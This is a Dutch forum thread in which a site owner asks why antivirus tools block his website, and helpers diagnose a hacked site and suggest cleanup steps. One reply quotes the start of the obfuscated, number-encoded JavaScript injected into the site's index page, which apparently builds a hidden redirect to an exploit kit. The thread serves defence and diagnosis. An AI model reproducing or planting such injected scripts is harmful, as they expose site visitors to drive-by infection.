website geef melding exploit blackhole

Status
Niet open voor verdere reacties.
W

wiwike1

eset smart zet mijn website in quarentaine website is graag een oplossing
wilfried
[EDIT]
Link verwijdert [/EDIT]
 
Laatst bewerkt door een moderator:
Sophos geeft JS/EXP.Redir.EL.7

Maw er staat een exploit op je website. Waarschijnlijk is je website gehacked. Dus vrij terecht dat een virusscanner dit tegenhoud.

Je website leegmaken mbv FTP en je website volledig terug ulpoaden zou wel moeten helpen. Verander daarna ook je ww eens...
 
het is ligt niet aan je anti-virus, het ligt aan je website.
het bevat een schadelijke code die lekken exploot in software zoals java/adobe flash player/reader.

het kan ook zijn dat er schadelijke software geuploaded is naar je website die geblokkeerd wordt.


ik raad u aan om uw computer volledig te scannen en als u mogelijk gebruik maakt van een FTP dan deze zijn gegevens te veranderen en op te schonen.

Telenet.be | Safety: Surf With Caution. Social: 10/10 | AVG Threat Labs

hierboven een website report van avg over websites gehosted door telenet.be
dit zijn bedreigingen die zijn gemeld door gebruikers en de kans is klein dat ze er nog op staan.

@edit, ik zie dat ddragon80 me voor was haha :D
 
ESET doet z'n werk goed. Hier ook een virusmelding met Norton en ESET.

AVG geeft ook melding van een virus op jouw website.

Website virus.jpg
 
DDragon80 zei:
Je website leegmaken mbv FTP en je website volledig terug ulpoaden zou wel moeten helpen. Verander daarna ook je ww eens...
Klik om te vergroten...

Waarschijnlijk wordt er een javascript of ander script gebruikt dat besmet is. Het opnieuw uploaden zal dan dus dezelfde virusmelding geven.

Scan de bestanden van de website eens lokaal met een up-to-date virusscanner. Wordt er niets gevonden, kan het gebeuren dat de virusscanner onbruikbaar is gemaakt door jouw leuke scriptje en je misschien met een pc zit die behoorlijk besmet is.

Wordt er wel iets gevonden, verwijder het virus dan en volg verder de stappen die dragon hier vermeldt.
 
Ik heb jouw website eens helemaal doorlopen. Het index bestand bevat een virus.

Zoek maar eens in de code naar een javascript en daarna komen veel getallen.

Ik zal het eerste stukje code van het virus hier plaatsen.

Code: 
<script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                          a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,164,174,175,160,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,164,174,175,160,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,173,173,173,62,167,151,163,66,70,154,62,147,163,62,171,157,63,135,117,170,147,132,150,166,130,62,164,154,164,53,77,21,16,44,164,174,175,160,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,44,101,44,53,145,146,167,163,160,171,170,151,53,77,21,16,44,164,174,175,160,62,167,170,175,160,151,62,146,163,166,150,151,166,44,101,44,53,64,53,77,21,16,44,164,174,175,160,62,167,170,175,160,151,62,154,151,155,153,154,170,44,101,44,53,65,164,174,53,77,21,16,44,164,174,175,160,62,167,170,175,160,151,62,173
 
Status
Niet open voor verdere reacties.
Terug
Bovenaan